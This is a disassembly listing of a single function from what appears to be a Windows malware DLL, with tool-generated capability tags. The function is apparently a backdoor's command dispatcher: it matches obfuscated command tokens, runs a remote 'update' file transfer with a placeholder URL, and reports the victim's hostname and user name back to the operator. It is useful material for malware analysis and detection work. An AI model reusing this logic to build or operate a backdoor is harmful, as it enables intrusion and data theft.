Function at 0x18000cfe0
Capabilities:
Check for time delay via gettickcount
Get hostname
Get session user name
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x130]
sub rsp, 0x230
mov rax, qword [0x18004f040]
xor rax, rsp
mov qword [rbp + 0x120], rax
mov rdi, rdx
mov rsi, rcx
xor r12d, r12d
cmp dword [0x1800505b0], 1
jne 0x18000d04d
mov dword [0x1800505b0], r12d
lea rcx, str._3WVw
call fcn.180003270
lea rcx, str._W6iC_
call fcn.180003270
lea rcx, str.zuz6V2m
call fcn.180003270
xor edx, edx
lea r13d, [rdx + 1]
mov r8d, 0x104
lea rcx, [rsp + 0x50]
call fcn.1800388f0
mov r9d, 0x104
lea r8, [rsp + 0x50]
lea rdx, [0x180045950]
mov rcx, rdi
call fcn.18000cf80
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x30], rdi
lea rdx, [0x180045d3d]
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
jne 0x18000d0b6
lea r8, [0x180054d40]
lea rdx, str._s__
mov rcx, rsi
call fcn.18000caf0
jmp 0x18000d371
lea rdx, str.kWm
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
je 0x18000d2d9
lea rdx, [0x180045fa0]
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
je 0x18000d2d9
lea rdx, str._3WVw
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
jne 0x18000d10d
mov edx, r13d
mov rcx, rsi
call fcn.180003bb0
jmp 0x18000d2e8
lea rdx, str._W6iC_
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
jne 0x18000d131
lea rcx, [rsp + 0x28]
call fcn.180002a20
jmp 0x18000d2e8
lea rdx, str.zuz6V2m
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
jne 0x18000d156
lea edx, [rax + 4]
mov rcx, rsi
call fcn.180003bb0
jmp 0x18000d2e8
lea rdx, str.tA36
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
je 0x18000d36f
lea rdx, str.Quit
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
je 0x18000d36f
lea rdx, str.am_26W
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
jne 0x18000d2a2
mov r14d, esi
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
movups xmmword [rsp + 0x38], xmm0
mov rbx, 0xffffffffffffffff
mov rcx, rbx
nop dword [rax + rax]
inc rcx
cmp byte [rdi + rcx], r12b
jne 0x18000d1c0
inc rcx
call fcn.180011164
mov r15, rax
mov qword [rsp + 0x28], rax
nop dword [rax]
lea rbx, [rbx + 1]
cmp byte [rdi + rbx], r12b
jne 0x18000d1e0
lea rdx, [rbx + 1]
mov r8, rdi
mov rcx, r15
call fcn.18001ac84
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x30], r12d
lea rcx, [rsp + 0x28]
call fcn.180002fa0
mov rbx, rax
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r12d, eax
cmp dword [rsp + 0x30], 2
jge 0x18000d231
lea rdx, str.Update_Server_Version__r_n_exp:_update_http:__www.xxx.com_xxx.__c:xxx._update__r_n
mov rcx, r14
jmp 0x18000d287
lea rdx, str.update
mov rcx, qword [rbx + 0x18]
call fcn.18001ba2c
mov r15d, eax
mov r8, qword [rbx + 0x10]
mov rdx, qword [rbx + 8]
mov rcx, r14
call fcn.18000e0d0
mov edi, eax
cmp eax, 0xffffffff
je 0x18000d28d
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, r12d
mov rcx, r14
test r15d, r15d
je 0x18000d280
mov r9d, eax
mov r8d, edi
lea rdx, str.Transfer_successful:__d_bytes_in__d_millisecond._r_n
call fcn.18000caf0
jmp 0x18000d28d
lea rdx, str.Update_Done__r_n
call fcn.18000caf0
nop
mov rcx, qword [rsp + 0x40]
call fcn.18001115c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x18000d2e8
lea rdx, [0x180045fac]
lea rcx, [rsp + 0x50]
call fcn.18001ba2c
test eax, eax
jne 0x18000d2c3
mov r13d, r12d
mov dword [0x18005026c], r12d
jmp 0x18000d2e8
lea r8, [rsp + 0x50]
lea rdx, str._s_Unknown_Command._r_n
mov rcx, rsi
call fcn.18000caf0
jmp 0x18000d2e8
lea rdx, str.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA__r_n
mov rcx, rsi
call fcn.18000caf0
mov edx, 0x80
lea rcx, [rbp + 0xa0]
call qword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x18000d36f
lea rcx, [rbp + 0xa0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
je 0x18000d36f
mov dword [rsp + 0x20], gethostbyname
lea rdx, [rsp + 0x20]
lea rcx, [rbp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r8, str.__User:
mov edx, 0x80
lea rcx, [rbp + 0xa0]
call fcn.18001c248
lea r8, [rbp + 0x60]
mov edx, 0x80
lea rcx, [rbp + 0xa0]
call fcn.18001c248
lea r8, [rbp + 0xa0]
lea rdx, [0x180045fc8]
mov rcx, rsi
call fcn.18000caf0
mov eax, r13d
jmp 0x18000d371
xor eax, eax
mov rcx, qword [rbp + 0x120]
xor rcx, rsp
call fcn.180011100
mov rbx, qword [rsp + 0x280]
add rsp, 0x230
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret